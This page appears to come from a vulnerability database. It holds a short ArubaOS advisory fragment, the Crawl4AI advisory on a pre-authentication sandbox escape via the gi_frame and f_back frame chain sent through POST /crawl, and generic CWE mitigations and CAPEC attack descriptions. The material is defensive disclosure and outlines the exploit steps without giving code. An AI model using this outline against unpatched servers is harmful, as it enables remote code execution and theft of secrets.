"nvd_published_at": "2022-12-12T13:15:00Z",
"severity": "HIGH"
},
"details": "Vulnerabilities in ArubaOS running on 7xxx series controllers exist that allows an attacker to execute arbitrary code during the boot sequence. Successful exploitation could allow an attacker to achieve permanent modification of the underlying operating system.",
"id": "GHSA-qxgq-6j8m-j2xm",
"modified": "2022-12-15T15:32:13Z",
"published": "2022-12-12T15:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-37905"
},
{
"type": "WEB",
"url": "https://www.arubanetworks.com/assets/alert/ARUBA-PSA-2022-016.txt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QXJP-W3PJ-48M7
Vulnerability from github – Published: 2026-06-16 20:13 – Updated: 2026-07-20 21:11Summary
The _safe_eval_expression() function in the computed fields feature uses an AST validator that only blocks attributes starting with underscore. Python generator and frame object attributes (gi_frame, f_back, f_builtins) do NOT start with underscore, enabling a complete sandbox escape to achieve arbitrary code execution.
The attack requires no authentication (JWT disabled by default) and is triggered via POST /crawl with a crafted extraction schema.
Attack Vector
An attacker sends a POST /crawl request with a JsonCssExtractionStrategy schema containing a malicious computed field expression that:
1. Creates a generator to access gi_frame
2. Walks the frame chain via f_back
3. Reaches f_builtins containing the real __import__
4. Imports os and executes arbitrary commands
Impact
Unauthenticated remote code execution inside the Docker container. An attacker can execute arbitrary system commands, read/write files, and exfiltrate secrets.
Fix Details
- Removed
eval()from computed field expression path entirely -- expressions now log a warning and return default value - Deleted
_safe_eval_expression()function and_SAFE_EVAL_BUILTINS(dead security-sensitive code) functionkey with Python callables still works for SDK users- Replaced
eval()in/config/dumpwith JSON-based input validated by Pydantic - Fixed hook_manager sandbox: stripped
__builtins__,__loader__,__spec__from injected modules; removedgetattr,setattr,type,__build_class__from allowed builtins
Workarounds
- Upgrade to the patched version (recommended)
- Enable JWT authentication via
CRAWL4AI_API_TOKENenvironment variable - Restrict network access to the Docker API
Credits
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.8.6"
},
"package": {
"ecosystem": "PyPI",
"name": "crawl4ai"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.8.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-53753"
],
"database_specific": {
"cwe_ids": [
"CWE-913",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-16T20:13:07Z",
"nvd_published_at": "2026-06-23T19:17:07Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\nThe `_safe_eval_expression()` function in the computed fields feature uses an AST validator that only blocks attributes starting with underscore. Python generator and frame object attributes (`gi_frame`, `f_back`, `f_builtins`) do NOT start with underscore, enabling a complete sandbox escape to achieve arbitrary code execution.\n\nThe attack requires no authentication (JWT disabled by default) and is triggered via `POST /crawl` with a crafted extraction schema.\n\n### Attack Vector\n\nAn attacker sends a `POST /crawl` request with a `JsonCssExtractionStrategy` schema containing a malicious computed field expression that:\n1. Creates a generator to access `gi_frame`\n2. Walks the frame chain via `f_back`\n3. Reaches `f_builtins` containing the real `__import__`\n4. Imports `os` and executes arbitrary commands\n\n### Impact\n\nUnauthenticated remote code execution inside the Docker container. An attacker can execute arbitrary system commands, read/write files, and exfiltrate secrets.\n\n### Fix Details\n\n1. Removed `eval()` from computed field expression path entirely -- expressions now log a warning and return default value\n2. Deleted `_safe_eval_expression()` function and `_SAFE_EVAL_BUILTINS` (dead security-sensitive code)\n3. `function` key with Python callables still works for SDK users\n4. Replaced `eval()` in `/config/dump` with JSON-based input validated by Pydantic\n5. Fixed hook_manager sandbox: stripped `__builtins__`, `__loader__`, `__spec__` from injected modules; removed `getattr`, `setattr`, `type`, `__build_class__` from allowed builtins\n\n### Workarounds\n\n1. Upgrade to the patched version (recommended)\n2. Enable JWT authentication via `CRAWL4AI_API_TOKEN` environment variable\n3. Restrict network access to the Docker API\n\n### Credits\n\n- Song Binglin ([q1uf3ng](https://github.com/q1uf3ng)) - reported the AST sandbox escape\n- by111 ([August829](https://github.com/August829)) - reported the hook sandbox `__builtins__` escape and hardcoded JWT secret bypass\n- [jannahopp](https://github.com/jannahopp) - PR #1855 proposing eval removal\n- [ntohidi](https://github.com/ntohidi) - PR #1886 proposing allowlist approach",
"id": "GHSA-qxjp-w3pj-48m7",
"modified": "2026-07-20T21:11:44Z",
"published": "2026-06-16T20:13:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/unclecode/crawl4ai/security/advisories/GHSA-qxjp-w3pj-48m7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53753"
},
{
"type": "WEB",
"url": "https://github.com/unclecode/crawl4ai/pull/1855"
},
{
"type": "WEB",
"url": "https://github.com/unclecode/crawl4ai/pull/1886"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-qxjp-w3pj-48m7"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/crawl4ai/PYSEC-2026-319.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/unclecode/crawl4ai"
},
{
"type": "WEB",
"url": "https://pypi.org/project/crawl4ai"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Crawl4AI: AST Sandbox Escape via gi_frame.f_back Chain - Pre-Auth RCE in Docker API"
}
Mitigation
Strategy: Refactoring
Refactor your program so that you do not have to dynamically generate code.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-242: Code Injection
An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.